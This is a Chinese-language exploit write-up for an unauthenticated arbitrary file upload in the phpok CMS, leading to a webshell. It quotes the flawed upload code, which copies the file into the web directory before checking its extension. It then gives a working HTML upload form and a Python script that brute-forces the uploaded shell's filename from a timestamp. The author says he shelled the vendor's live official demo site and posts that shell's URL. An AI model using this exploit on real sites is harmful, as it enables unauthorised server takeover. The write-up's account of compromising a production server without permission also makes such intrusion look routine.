phpok前台任意文件上传getshell(官网已shell) 另一个更好用的0day已经没了,把这个也放出来,官网已shell。
/framework/www/upload_control.php第45行:
1 2 3 4 5 6 7 8 9 10 11 12 function base_f () { rs = this->upload_base("Filedata" ); if ($rs["status" ] == "ok" ) { error("图片上传成功" ,$this ->url("res" ,"add" ),"ok" ); } else { error(rs["error" ],this->url("res" ,"add" ),"error" ); } }
调用了upload_base,跟进去看看:
1 2 3 4 5 6 7 8 function upload_base (input_name = "Filedata" ,upload_type) { cateid = this->get("cateid" ,"int" ); rs = this->upload($input_name); if ($rs["status" ] != "ok" ) { return $rs; }
调用了$this->upload来上传文件。继续跟进去看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function upload ($inputname) { if (!$this ->ifset) $this ->auto_app(); if (!$inputname) return false ; $path = $this ->dir_res; if (!isset ($_FILES[$inputname])) { return array ("status" =>"error" ,"error_id" =>"1001" ,"error" =>"没有指定上传的图片" ); } $file_name = substr(md5(time().rand(0 ,9999 )),9 ,16 ); $zip_filename = $file_name; $path_info = pathinfo($_FILES[$inputname]['name' ]); $file_extension = strtolower($path_info["extension" ]); $file_name .= "." .$file_extension; $tmp_title = $_FILES[$inputname]['name' ]; if ([email protected ]($_FILES[$inputname]["tmp_name" ],$path.$file_name)) { return array ("status" =>"error" ,"error_id" =>"1002" ,"error" =>"图片无法复制到指定目录" ); } if (!in_array($file_extension,$this ->file_ext)) { return array ("status" =>"error" ,"error_id" =>"1003" ,"error" =>"附件类型不支持" ); } return array ("status" =>"ok" ,"title" =>$tmp_title,"filename" =>$path.$file_name,"ext" =>$file_extension); }
仔细观察最后两个if语句,第一个是copy,第二个才是判断后缀名。也就是说它先把我上传的任意文件copy到web目录下,再判断了这个文件后缀是否合法。而且判断完毕后并没有删除不合法的文件。
所以我们可以利用这一点来上传任意文件,虽然最后我不知道上传后的文件名,但这个文件名是可以爆破出来的。 文件名命名规则:substr(md5(time().rand(0,9999)),9,16)
取当前时间 和 0-9999之前的随机数的md5值。这个好说,当前时间基本就在发包以后的1~3秒,4位随机数。也就说我只用爆破大概1W到3W次就能找到我上传的文件了。
本地构造一个上传单页:
1 2 3 <form name ="form" method ="post" action ="http://**.**.**.**/index.php?c=upload&f=base" enctype ="multipart/form-data" > <input type ="file" name ="Filedata" > <input type ="submit" name ="Submit" value ="上传" > </form >
拉一个shell点击上传。中途抓包,查看返回包:
]
可以看到返回包的时间,这个时间基本上就是生成文件名的时候取的time()。
通过返回包里的Date计算出此时的时间戳,也就是重命名时候取的time()值(就算不是,相差也不会太大,一两秒内)
我计算出的时间戳值为1401619111
然后我简单写一个单线程脚本(py需要安装requests库),来跑一下数据包。上传的文件默认放在/res目录下,我们就来爆破一下这个文件名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests, hashlib def md5(str): m = hashlib.md5() m.update(str) return m.hexdigest() time = '1401619111' for x in xrange(0 ,9999 ): target = "http://localhost/phpok/res/%s.php" % md5(time + str(x))[9 : 9 + 16 ] res = requests.get(target) if res.status_code != 404 : print x, target break
因为是本地,所以很快就跑出了shell的地址:
]
访问可见phpinfo:
危害性证明:
官网shell地址,也是我跑出来的,运气比较好,随机数比较小,跑了一分钟就出来了http://demo.phpok.cn/res/49d39bf998b3e28e.php